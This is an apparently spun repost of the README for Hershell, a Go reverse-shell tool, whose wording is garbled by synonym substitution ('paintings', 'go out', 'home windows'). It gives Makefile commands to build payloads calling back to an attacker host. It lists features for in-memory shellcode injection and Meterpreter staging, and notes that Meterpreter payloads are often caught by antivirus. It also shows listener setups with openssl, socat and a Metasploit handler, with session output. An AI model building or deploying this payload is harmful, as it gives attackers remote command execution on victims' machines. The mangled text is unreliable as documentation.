Hershell – Simple TCP reverse shell written in Go

Simple TCP reverse shell written in Go ^(https://golang.org/). It makes use of TLS to safe the communications, and supply a certificates public key fingerprint ^(http://www.kitploit.com/search/label/Fingerprint) pinning characteristic, combating from site visitors interception.
Supported OS are:
  • Windows
  • Linux
  • Mac OS
  • FreeBSD and derivatives

meterpreter ^(http://www.kitploit.com/search/label/Meterpreter) payloads are nice, they’re occasionally noticed through AV merchandise.
The purpose of this mission is to get a easy reverse shell, which will paintings on more than one techniques,

How ?
Since it is written in Go, you’ll be able to pass bring together the supply for the required structure.

Building the payload
To simplify issues, you’ll be able to use the equipped Makefile. You can set the next surroundings variables:

  • GOOS : the objective OS
  • GOARCH : the objective structure
  • LHOST : the attacker IP or area title
  • LPORT : the listener port

For the GOOS and GOARCH variables, you’ll be able to get the allowed values right here ^(https://golang.org/doc/install/source#environment).
However, some helper goals are to be had in the Makefile:

  • relies : generate the server certificates (required for the reverse shell)
  • home windows32 : builds a home windows 32 bits executable (PE 32 bits)
  • home windows64 : builds a home windows 64 bits executable (PE 64 bits)
  • linux32 : builds a linux 32 bits executable (ELF 32 bits)
  • linux64 : builds a linux 64 bits executable (ELF 64 bits)
  • macos : builds a mac os 64 bits executable (Mach-O)

For the ones goals, you simply want to set the LHOST and LPORT surroundings variables.

Using the shell
Once accomplished, you are going to be supplied with a far off shell. This customized interactive shell will will let you execute gadget instructions via cmd.exe on Windows, or /bin/sh on UNIX machines.
The following particular instructions are supported:

  • run_shell : drops you an gadget shell (permitting you, for instance, to modify directories)
  • inject : injects a shellcode (base64 encoded) in the similar procedure reminiscence, and executes it (Windows best in this day and age)
  • meterpreter IP:PORT : connects to a multi/handler to get a stage2 reverse tcp meterpreter ^(http://www.kitploit.com/search/label/Meterpreter) from metasploit, and execute the shellcode in reminiscence (Windows best in this day and age)
  • go out : go out gracefully

First of all, it is very important generate a sound certificates:

$ make relies
openssl req -subj '/CN=sysdream.com/O=Sysdream/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA non-public key
writing new non-public key to 'server.key'
cat server.key >> server.pem

For home windows:

# Custom goal
$ make GOOS=home windows GOARCH=amd64 LHOST= LPORT=1234
# Predifined goal
$ make home windows32 LHOST= LPORT=1234

For Linux:

# Custom goal
$ make GOOS=linux GOARCH=amd64 LHOST= LPORT=1234
# Predifined goal
$ make linux32 LHOST= LPORT=1234

For Mac OS X

$ make macos LHOST= LPORT=1234

On the server aspect, you’ll be able to use the openssl ^(http://www.kitploit.com/search/label/OpenSSL) built-in TLS server:

$ openssl s_server -cert server.pem -key server.key -accept 1234
Using default temp DH parameters
unhealthy gethostbyaddr
Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Shared Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Supported Elliptic Curve Point Formats: uncompressed
Supported Elliptic Curves: P-256:P-384:P-521
Shared Elliptic curves: P-256:P-384:P-521
Secure Renegotiation IS supported
Microsoft Windows [version 10.0.10586]
(c) 2018 Microsoft Corporation. Tous droits rservs.


Or even higher, use socat with its readline module, which provides you with a to hand historical past characteristic:

$ socat readline openssl-concentrate:1234,fork,reuseaddr,test=0,cert=server.pem
Microsoft Windows [version 10.0.10586]
(c) 2018 Microsoft Corporation. Tous droits rservs.


Or, and that is nice, use a metasploit ^(http://www.kitploit.com/search/label/Metasploit) handler:

[][Sessions: 0][Jobs: 0]: > use exploit/multi/handler
[][Sessions: 0][Jobs: 0]: exploit(handler) > set payload python/shell_reverse_tcp_ssl
payload => python/shell_reverse_tcp_ssl
[][Sessions: 0][Jobs: 0]: exploit(handler) > set lhost
lhost =>
[][Sessions: 0][Jobs: 0]: exploit(handler) > set lport 4444
lport => 4444
[][Sessions: 0][Jobs: 0]: exploit(handler) > set handlersslcert /tmp/knowledge/server.pem
handlersslcert => /tmp/knowledge/server.pem
[][Sessions: 0][Jobs: 0]: exploit(handler) > set exitonsession false
exitonsession => false
[][Sessions: 0][Jobs: 0]: exploit(handler) > exploit -j
[*] Exploit operating as background process.

[-] Handler didn't bind to
[*] Started reverse SSL handler on
[*] Starting the payload handler...
[][Sessions: 0][Jobs: 1]: exploit(handler) >
[*] Command shell consultation 1 opened ( -> at 2018-02-09 12:07:51 +0000
[][Sessions: 1][Jobs: 1]: exploit(handler) > periods -i 1
[*] Starting interplay with 1...

Microsoft Windows [version 10.0.10586]
(c) 2018 Microsoft Corporation. Tous droits rservs.



Ronan Kervella

Download Hershell ^(https://github.com/sysdream/hershell)